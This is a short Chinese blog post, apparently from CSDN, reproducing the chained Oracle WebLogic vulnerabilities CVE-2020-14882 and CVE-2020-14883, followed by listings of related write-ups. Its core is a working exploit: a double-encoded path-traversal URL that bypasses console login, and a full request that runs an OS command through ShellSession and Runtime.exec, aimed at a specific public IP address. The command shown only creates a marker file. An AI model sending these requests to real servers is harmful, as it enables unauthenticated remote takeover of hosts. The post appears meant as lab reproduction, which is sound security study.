Weblogic漏洞（CVE-2020-14882/-14883）

最新推荐文章于 2024-09-22 15:28:13 发布
最新推荐文章于 2024-09-22 15:28:13 发布
阅读量300 收藏 4
点赞数 11
文章标签： Weblogic漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_68186313/article/details/140963498
版权

CVE-2020-14882 允许远程⽤户绕过管理员控制台组件中的身份验证。

CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。

使⽤这两个漏洞链，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任 意命令并完全控制主机

1、访问

http://IP:PORT/console/login/LoginForm.jsp

 2、使⽤以下url绕过登录认证

http://IP:PORT/console/css/%252e%252e%252fconsole.portal

 

3、访问以下URL，连接第二个漏洞（CVE-2020-14883）

http://47.99.72.48:7004/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

4、进入docker，看到命令成功运行

浅秋沐玖
关注
Weblogic（CVE-2020-14882，CVE-2020-14883） 管理控制台未授权远程命令执行漏洞
god_Zeo的安全博客
11-02 6242
Weblogic（CVE-2020-14882，CVE-2020-14883） 管理控制台未授权远程命令执行漏洞 0x01 漏洞简述 2020年10月29日，360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,该漏洞编号为 CVE-2020-14882,CVE-2020-14883 ，漏洞等级：严重，漏洞评分：9.8。 远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console，并在 WebLogic Server Co
Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）漏洞复现
weixin_48413667的博客
09-22 8122
一、软件介绍 WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 二、漏洞描述 在2020年10月的更新中，Oracle官方修复了两个安全漏洞，分别是CVE-2020-14882和CVE-2020-14883
Weblogic 未认证远程命令执行（CVE-2020-14882、CVE-2020-14883）
灰太的表格的博客
11-04 3646
Weblogic 未认证远程命令执行（CVE-2020-14882、CVE-2020-14883） 漏洞环境： vulhub 漏洞复现： CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。 1.docker 开个环境： ...
WebLogic远程代码执行漏洞CVE-2020-14882
最新发布
2401_82451607的博客
09-22 253
WebLogic远程代码执行漏洞CVE-2020-14882
Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）
m0_68045701的博客
07-10 2155
在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如。访问后台后是一个低权限的用户，无法安装应用，也无法直接执行任意代码。
weblogic权限绕过/远程命令执行漏洞复现（CVE-2020-14482、CVE-2020-14883）
LuckySec
12-03 7744
0x01 漏洞简介 Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882：远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic 管理控制台。 CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个HTTP请求
weblogic漏洞——CVE-2020-14882
weixin_57379923的博客
08-13 1378
版 权 声 明：本博客所有文章除特别声明外，均采用。文章版权归作者所有，未经允许请勿转载！靶机：IP：192.168.100.40。在 web 服务器中写入 xml 脚本。作 者：PeiyuJue。
渗透测试：渗透流程思路（当拿到一个WindowsIP，演示weblogic漏洞cve-2020-14882）
01-12
在本场景中，我们将探讨如何进行渗透测试，特别是在面对Windows IP地址时，利用WebLogic服务器的CVE-2020-14882漏洞进行实战演练。 WebLogic是Oracle公司开发的一个应用服务器，广泛用于企业级Java应用部署。然而，...
cve-2020-14750.zip9（补丁升级）
05-26
2020年11月2日，Oracle官方发布了此安全警报针对Oracle WebLogic Server中的远程代码执行漏洞CVE-2020-14750，此漏洞可以在没有身份验证的情况下进行远程攻击，也就是说，可以在不需要用户名和密码的情况下通过网络...
cve_2020_14883_NA7A.zip
05-28
weblogic 解决CVE-2020-14883漏洞
cve_2020_14883.zip
05-28
weblogic 解决CVE-2020-14883漏洞
weblogic-CVE-2020-14882与CVE-2020-14883
jjxsir的博客
05-20 573
在2020年10月的更新中，Oracle官方修复了两个安全漏洞，分别是CVE-2020-14882和CVE-2020-14883，CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。依旧显示404页面，进容器里面看看命令是否执行。
weblogic权限绕过漏洞(CVE-2020-14883)
m0_65150886的博客
12-27 520
2.访问http://ip:port/console/images/%252E%252E%252Fconsole.portal?1.访问http://ip：port/console。
weblogic权限绕过远程命令执行漏洞复现（CVE-2020-14482、CVE-2020-14883）
又菜又爱倒腾的博客
10-29 2365
#weblogic权限绕过/远程命令执行漏洞（CVE-2020-14482、CVE-2020-14883） # 一、漏洞简介 Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882：远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic 管理控制台。 CVE-2020-14
Weblogic Console远程代码执行漏洞(CVE-2020-14882)
Li-D的博客
06-04 7172
漏洞描述 2020年10月30日， Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞最新补丁可被绕过，该漏洞编号为 CVE-2020-14882。远程攻击者可以构造特殊的 HTTP 请求，在未经身份验证的情况下接管 WebLogic Server Console ，并在 WebLogic ServerConsole 执行任意代码。 影响版本 Oracle WeblogicServer 10.3.6.0.0 Oracle WeblogicServer 12.1.3.0
vulhub中Weblogic 管理控制台未授权远程命令执行漏洞复现（CVE-2020-14882，CVE-2020-14883）
yougexiaojiuguan的博客
03-10 776
漏洞复现过程的记录
CVE-2020-14882~14883(Weblogic RCE)
include_heqile的博客
11-23 486
https://mp.weixin.qq.com/s?__biz=MzkzNTA0NzgyMA==&mid=2247483787&idx=1&sn=9406a10d2f78d20c1dc57b0cf98618db&chksm=c2b2a668f5c52f7e386c84f9e22379e7d4a3e7ee470e07427c4327555d98af7d7f5c103bf353&token=517092499&lang=zh_CN#rd
Weblogic RCE漏洞CVE-2020-14882&14883：复现与影响版本解析
近期，两个关键性漏洞 CVE-2020-14882 和 CVE-2020-14883 被发现，这些漏洞的存在使得未经授权的远程攻击者能够通过精心构造的GET请求，在受影响的Weblogic Server上执行任意代码。这两个漏洞影响了多个版本，包括...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值